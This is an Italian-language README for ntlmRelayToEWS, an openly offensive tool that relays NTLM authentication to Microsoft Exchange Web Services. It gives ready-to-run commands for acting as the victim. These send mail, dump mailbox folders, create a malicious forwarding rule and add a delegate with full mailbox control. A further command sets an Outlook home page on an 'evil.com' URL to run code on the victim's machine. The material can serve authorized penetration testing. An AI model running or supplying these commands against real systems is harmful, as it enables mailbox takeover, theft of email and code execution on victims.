
attacco di relay NTLM ai Servizi Web di Exchange
Autore: Arno0x0x - @Arno0x0x
ntlmRelayToEWS è uno strumento per eseguire attacchi di relay NTLM su Exchange Web Services (EWS). Avvia un SMBListener sulla porta 445 e un HTTPListener sulla porta 80, in attesa di una connessione in arrivo dalla vittima. Quando la vittima si connette a uno dei listener, avviene una negoziazione NTLM che viene inoltrata al server EWS di destinazione.
Ovviamente questo strumento NON implementa l'intera API di EWS, quindi solo una manciata di servizi sono implementati e possono essere utili in alcuni scenari di attacco. Potrei aggiungerne altri in futuro. Vedi la sezione 'uso' per avere un'idea di quali chiamate EWS sono implementate.
Versione di Exchange:
Ho testato questo strumento solo contro un Exchange Server 2010 SP2 (che è piuttosto vecchio, a dire il vero), quindi tutti i template delle richieste SOAP EWS, così come il parsing delle risposte EWS, sono testati solo per questa versione di Exchange. Anche se non l'ho testato personalmente, alcuni hanno riportato che lo strumento funziona anche contro un Exchange 2016 server, senza modifiche (cioè senza alcuna modifica ai template delle richieste SOAP).
Nel caso in cui queste richieste SOAP non funzionino su un'altra versione di Exchange, è piuttosto semplice creare i template delle richieste SOAP per una versione più recente utilizzando l'API gestita di Microsoft EWS in modalità trace e catturare le richieste SOAP appropriate (è così che ho fatto!).
Client SOAP EWS:
Avrei voluto usare un client SOAP per ottenere un'interfaccia adeguata per creare automaticamente tutte le richieste SOAP basate sul WSDL di Exchange. Ho provato a usare 'zeep' ma mi sono scontrato con un muro per farlo funzionare con il WSDL di Exchange, poiché richiede di scaricare namespace esterni e quindi necessita di una connessione Internet. Inoltre, con 'zeep', l'uso di una sessione di trasporto personalizzata richiede un Requests.session che non è il tipo di sessione HTTP(S) che abbiamo di default con HTTPClientRelay: avrebbe richiesto o di rifattorizzare HTTPClientRelay per usare 'Requests' (/me pigro) o semplicemente di far creare a zeep i messaggi con zeep.client.create_message() e poi inviarli con la sessione relayata che già abbiamo. O forse sono solo uno sviluppatore incapace? oh beh...
ntlmRelayToEWS richiede un'installazione pulita e corretta di Impacket. Segui le loro istruzioni per ottenere una versione funzionante di Impacket.
ntlmRelayToEWS implementa i seguenti attacchi, tutti eseguiti per conto dell'utente relayato (vittima).
Fai riferimento all'aiuto per informazioni aggiuntive: ./ntlmRelayToEWS -h. Ottieni più informazioni di debug usando il flag --verbose o -v.
sendMail
Invia un'email formattata in HTML a un elenco di destinatari:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Subject -m sampleMsg.html
getFolder
Recupera tutti gli elementi da una cartella predefinita (posta in arrivo, elementi inviati, calendario, attività):
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
Crea una regola di inoltro dannosa che inoltra tutti i messaggi in arrivo per la vittima a un altro indirizzo email:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
Definisce una home page per una cartella (di solito per la cartella Posta in arrivo) specificando un URL. Questa tecnica, scoperta da SensePost/Etienne Stalmans, consente l'esecuzione arbitraria di comandi nel programma Outlook della vittima forgiando una specifica pagina HTML: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
Imposta un indirizzo delegato sulla cassetta postale principale della vittima. In altre parole, la vittima delega il controllo della propria cassetta postale a qualcun altro. Una volta fatto, significa che l'indirizzo delegato ha il controllo completo sulla cassetta postale della vittima, semplicemente aprendola come cassetta postale aggiuntiva in Outlook:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
Per far sì che la vittima invii le proprie credenziali a ntlmRelayToEWS puoi usare uno dei seguenti metodi ben noti:
Invoke-SendEmail.ps1 per farlo.Basato su Impacket e ntlmrelayx di Alberto Solino @agsolino.
Questo strumento è destinato a essere utilizzato solo in modo legale e legittimo:
Citando gli autori di Empire: Non esiste un modo per costruire strumenti offensivi utili all'industria legittima della sicurezza informatica impedendo contemporaneamente agli attori malintenzionati di abusarne.